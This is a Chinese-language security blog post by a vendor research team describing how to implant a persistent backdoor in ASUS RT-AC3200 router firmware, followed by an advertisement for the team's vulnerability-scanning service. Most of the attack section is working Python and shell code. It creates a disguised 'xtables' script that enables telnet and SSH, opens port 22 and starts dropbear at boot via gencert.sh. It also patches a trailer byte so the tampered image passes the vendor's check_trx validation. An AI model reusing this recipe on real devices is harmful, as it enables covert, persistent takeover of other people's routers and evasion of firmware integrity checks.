华硕路由器添加固件后门

  • A+
所属分类:逆向工程

华硕路由器添加固件后门


概述

在进行IoT漏洞利用的过程中,后利用阶段为了扩展利用效果和加强红队攻防对抗的能力,固件级别的后门(BackDoor)是非常重要的。


极光无限维阵专家团队基于对华硕路由器漏洞的研究,对华硕无线路由器固件进行了深入解析,我们得出以下结论:直接在固件中添加后门命令,路由器前台进行固件更新即可植入固件级别的后门。


本文对使用的工具和固件后门植入的过程进行了梳理,并分享了操作中遇到的问题及解决方案。


作者:维阵漏洞研究员--lawren



工具

firmware-mod-kit: https://gitlab.com/kalilinux/packages/firmware-mod-kitida: https://www.hex-rays.com/products/ida/python: https://www.python.org/



安装firmware-mod-kit

firmware-mod-kit工具包可用于提取固件中的文件系统,然后进行修改,并重新打包成固件。我们可以使用它对固件做定制化的修改。

$ sudo apt-get install git build-essential zlib1g-dev liblzma-dev python-magic$ git clone https://gitlab.com/kalilinux/packages/firmware-mod-kit.git$ cd firmware-mod-kit



使用firmware-mod-kit

以华硕RT-AC3200_3.0.0.4_382_51940-ga3b9d4a.trx这款固件为例,步骤如下:


1、解包固件,采用extract-firmware.sh来提取固件中的文件系统:

$ ./extract-firmware.sh RT-AC3200_3.0.0.4_382_51940-ga3b9d4a.trx


解包后的文件系统会存放在当前目录的fmk文件夹中,其中包括rootfs,image_part和logs等文件夹。由于攻击者的目的大多是添加后门和修改固件,因此这里我们只关心rootfs文件夹。


rootfs文件夹中包含了固件中的整套文件系统。而我们所要做的工作就是在固件中添加后门,然后找到固件启动后自动调用后门的方法。


2、重新打包固件:

$ ./build-firmware.sh fmk/


重新打包好的固件会存放在fmk/目录中,文件名为new-firmware.bin。



为华硕路由器固件添加后门


1、首先查看固件所基于的架构。对固件中任意文件执行 readelf命令就可以查看其架构,以BusyBox文件为例:

$ readelf -h fmk/rootfs/bin/busybox

ELF Header: Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 Class: ELF32 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: ARM Version: 0x1 Entry point address: 0xc4c4 Start of program headers: 52 (bytes into file) Start of section headers: 571724 (bytes into file) Flags: 0x5000002, Version5 EABI, <unknown> Size of this header: 52 (bytes) Size of program headers: 32 (bytes) Number of program headers: 6 Size of section headers: 40 (bytes) Number of section headers: 25 Section header string table index: 24


正如我们看到的,固件是基于ARM小端架构的。这意味着我们之后需要开发符合ARM小端架构的后门并进行编译。


2、下一步是在文件系统中寻找如何在启动过程中执行命令的方式,我们提供了三种思路。


思路一:寻找在启动过程中自动调用的脚本,在其中添加我们要执行的命令。


在文件系统中找到一个每次重启路由器时都会执行的shell脚本,我们以一个符合条件的脚本/usr/sbin/gencert.sh为例,在该脚本中添加指令,让路由器重启时,从我们指定的url下载arm后门到tmp目录并执行。


思路二:在脚本/usr/sbin/gencert.sh中打开华硕路由器的ssh,这样在路由器重启后就可以直接通过ssh连接路由器。


思路三:在文件系统中放入我们编译好的后门程序,在/usr/sbin/gencert.sh中执行后门程序,这样在路由器重启时就会启动后门。


我们采用第二个思路,用到的代码如下:

import os    os.system("touch fmk/rootfs/usr/sbin/xtables")    os.system("echo 'sleep 120' >> fmk/rootfs/usr/sbin/xtables")    os.system("echo 'nvram set sshd_enable=1' >> fmk/rootfs/usr/sbin/xtables")    os.system("echo 'nvram set sshd_port_x=22' >> fmk/rootfs/usr/sbin/xtables")    os.system("echo 'nvram set sshd_port=22' >> fmk/rootfs/usr/sbin/xtables")    os.system("echo 'nvram set telnetd_enable=1' >> fmk/rootfs/usr/sbin/xtables")    os.system("echo 'nvram set sshd_pass=1' >> fmk/rootfs/usr/sbin/xtables")    os.system("echo 'service start_telnetd' >> fmk/rootfs/usr/sbin/xtables")    os.system("echo 'service start_sshd' >> fmk/rootfs/usr/sbin/xtables")    os.system("echo 'sleep 10' >> fmk/rootfs/usr/sbin/xtables")    os.system("echo 'iptables -I INPUT -p tcp --dport 22 -j ACCEPT' >> fmk/rootfs/usr/sbin/xtables")    os.system("echo 'sleep 30' >> fmk/rootfs/usr/sbin/xtables")    os.system("echo 'dropbear -a -p 22' >> fmk/rootfs/usr/sbin/xtables")    os.system("chmod 4777 fmk/rootfs/usr/sbin/xtables")    os.system("echo '/usr/sbin/xtables &' >> fmk/rootfs/usr/sbin/gencert.sh")


上面的代码会新建一个文件fmk/rootfs/usr/sbin/xtables,这就是我们的后门程序,其作用是开启ssh。具体内容如下:

    sleep 120    nvram set sshd_enable=1    nvram set sshd_port_x=22    nvram set sshd_port=22    nvram set telnetd_enable=1    nvram set sshd_pass=1    service start_telnetd    service start_sshd    sleep 10    iptables -I INPUT -p tcp --dport 22 -j ACCEPT    sleep 30    dropbear -a -p 22


最后在fmk/rootfs/usr/sbin/gencert.sh中,

添加执行fmk/rootfs/usr/sbin/xtables的命令,路由器启动时就会执行gencert.sh,继而执行xtables,最终开启ssh。


3、此时就完成了后门的添加,执行build-firmware.sh重打包固件就完成了。


4、更新固件后通过ssh连接路由器。

ssh [email protected]



更新固件

方式一:Web页面点击上传更新固件

方式二:编写脚本自动完成上传并更新固件



测试分析

固件篡改的功能强大,对于攻击者而言是梦寐以求的目标。这是因为,如果能够实现对固件的篡改,那么攻击者就能够实现绕过保护机制、移除安全防护措施、添加后门等操作。



遇到的问题


问题一:由于重打包后的固件大小和原固件大小不一致,导致打包失败


华硕路由器添加固件后门


我们采取的解决方法是将文件系统里的图片文件缩小,从而缩小重打包后的固件大小,压缩图片大小的代码如下:

    import os    def search(root, target):        items = os.listdir(root)        for item in items:            path = os.path.join(root, item)            if os.path.isdir(path):                #print('[-]', path)                search(path, target)            if target in path.split('/')[-1]:                os.system("convert " + path + " " + path + ".gif")                os.system("convert -strip -quality 75% " + path + ".gif " + path + ".gif")                os.system("rm " + path)                os.system("mv " + path + ".gif " + path)

search("fmk/rootfs/www/images/", ".png")


问题二:重打包后的固件不能通过华硕路由器的校验


华硕路由器添加固件后门


我们通过逆向华硕校验代码,编写脚本对打包后的固件进行校验值计算并写入固件中,从而顺利通过华硕路由器的校验。


通过逆向,可以确定是libshared.so动态链接库中的check_imagefile函数对固件进行校验的,如下图:

华硕路由器添加固件后门


上图中check_crc函数可以通过校验,firmware-mod-kit已经帮我们计算好了crc,但firmware-mod-kit并没有完成check_trx函数校验。


通过分析,check_trx函数会校验固件尾部的一个字节值,我们编写脚本并修改firmware-mod-kit重打包生成的固件中对应字节,从而通过check_trx函数校验。相关代码如下:

import os    with open('fmk/new-firmware.bin', 'rb') as f:        image_data = f.read()    with open('fmk/new-firmware1.bin', 'wb+') as f:        write_data = image_data[0:-28] + 'x4c' + image_data[-27:]        f.write(write_data)    os.system("src/crcalc/crcalc fmk/new-firmware1.bin fmk/logs/binwalk.log")


温馨提示



本文内容也将在“极光无限”知识星球发布。


“极光无限”知识星球,由极光无限维阵专家团队,基于图神经网络的AI自动化二进制漏洞挖掘系统 - 进制安全缺陷快速发现的能力围绕验证-修复-解决,每周如期分享最新技术干货、最新安全研究以及高价值产品技术资料。


除此以外,还会分享红蓝对抗、IOT安全等热门技术干货。


华硕路由器添加固件后门


华硕路由器添加固件后门


维阵(AI图神经网络漏洞挖掘)一款基于图神经网络技术对设备和应用的二进制文件进行安全脆弱性检测的SaaS平台化服务产品,提供对二进制文件分析发现0day的在线服务。


“维阵”,历时十多个月,投入了过亿研发费用,动用了十多位数学教授、博士带领五十余名研发人员,AI算法模型经历了超过160次的版本迭代,最终打磨成型。


“维阵”,采用SaaS的服务模式,用户只需要将需要进行检测的二进制文件拖入,剩下的检测工作将完全交给系统来完成。这意味着,这款AI漏洞挖掘系统不仅仅适用于安全研究人员,对于并不擅长漏洞挖掘的开发人员而言,同样适用。这样做的好处显而易见——在产品上线之前,就能发现存在的安全问题,进一步提高产品的安全性,避免未来因安全漏洞造成更大的损失。

注册使用方式:

1、登录官网:https://vul.secwx.com

2、在线申请注册,付费后即可直接使用,无第三方渠道。


— THE END —


往期精选

招聘

极光无限 | 三大部门联合扩招50个岗位

丨更多

热文

漏洞公告 | Tenda AC系列路由器远程命令执行0day漏洞:CVE-2020-10987 & CVE-2020-15916

丨更多

热文

漏洞公告 | 华硕(ASUS)家庭无线路由器远程代码执行0day

丨更多

热文

漏洞公告 | Python 3.8.5 处理异常.pyc文件造成拒绝服务

丨更多

华硕路由器添加固件后门
华硕路由器添加固件后门

华硕路由器添加固件后门

华硕路由器添加固件后门

如果你喜欢这篇文章,欢迎点击"在看"

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: